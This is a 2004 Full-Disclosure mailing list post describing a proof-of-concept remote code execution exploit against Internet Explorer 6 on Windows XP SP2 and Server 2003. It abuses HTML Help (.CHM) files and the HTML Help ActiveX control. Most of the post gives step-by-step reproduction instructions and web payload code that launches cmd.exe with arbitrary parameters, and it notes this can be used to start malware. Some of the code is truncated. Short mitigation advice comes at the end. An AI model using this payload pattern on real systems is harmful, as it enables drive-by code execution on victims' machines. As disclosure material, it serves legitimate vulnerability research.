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[Full-Disclosure] Windows (XP SP2) Remote code execution with parameters

From: ShredderSub7 SecExpert (shreddersub7hotmail.com)
Date: Mon Dec 27 2004 - 18:24:02 CST

PoC (called CMDExe): http://www.freewebs.com/shreddersub7/htm.htm
Discussion: http://www.freewebs.com/shreddersub7/expl-discuss.htm

------------------Which systems are vulnerable?--------
Any system running any Microsoft Windows XP edition with Internet Explorer 6
or higher, even with SP2 applied.
Any system running any Microsoft Windows Server 2003 edition with Internet
Explorer 6 or higher.

------------------How does this exploit work?-----------
The problem with Internet Explorer is that it doesn't set any restrictions
on web pages that request opening a Windows Help file, compiled with HTML
Help. Without a restriction, we can (in Internet Explorer) easily command to
open any local web page stored on a victim's computer, including web pages
that are founded in Windows Help files (with extension .CHM). In this PoC
(Proof of Concept, see below for viewing the PoC), the web page
"alt_url_enterprise_specific.htm" (that is founded in the Windows Help file
"ntshared.chm") will be opened in the HTML Help program "hh.exe".
Since we now opened a web page stored in a Windows Help file (.CHM), it is
possible (thanks to the exploit) to execute a HTML Help control (in this
case, an ActiveX control) that only fully works in Help files. So in this
PoC, we choosed to launch an ActiveX control for HTML Help. Then, this
ActiveX control will execute any program we want, in this example that's

Thanks to the exploit, it is even possible to add parameters to the executed
program (here: cmd.exe), so that you can easily start malware out of
"cmd.exe". In this PoC, we added the parameter "/c pause" to the execution
code "cmd.exe", and the result is a DOS Prompt with the text "Press any key
to continue. . .".

To make it complete, the 2 needed programs (Internet Explorer and HTML Help)
will be automatically shutted down after the execution is finished. In this
PoC, HTML Help and Internet Explorer will be automatically closed after the
execution, without user interaction.

------------------How can you reproduce this PoC?------------------
Create the file "htm.htm" with the following code (please notice that you
may want to modify the full path to the file "htm.txt"):
&lt;html&gt;<head><title>CMDExe - Windows Exploit - Remote code execution
with parameters - Proof of Concept</title></head><body>
<br>&lt;OBJECT style="display:none" id="locate"
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
<OBJECT style="display:none" id="locator" type="application/x-oleobject"
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"

Then create the file "htm.txt" (please notice that you may have to change
the full path to your specified program, in this case "cmd.exe"):
document.write("<object id=a
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command
value=shortcut><param name=item1 value=',cmd.exe,/c pause,'></object><object
id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command

If you want to attack Windows Server 2003 systems, you also need to upload
the "hhctrl.ocx" file (http://www.freewebs.com/shreddersub7/hhctrl.ocx)

--------------How to avoid this exploit...-------------
Since there are no patches from Microsoft available yet, here are some
(temporary?) solutions: Disable Internet Explorer
or disable Active Scripting (HOW?).
OR Use another browser,for example Mozilla FireFox.

More info (like credits, things that are included etc.) about this exploit
can be found at http://www.freewebs.com/shreddersub7/expl-discuss.htm

Contact: ShredderSub7_at_hotmail.com

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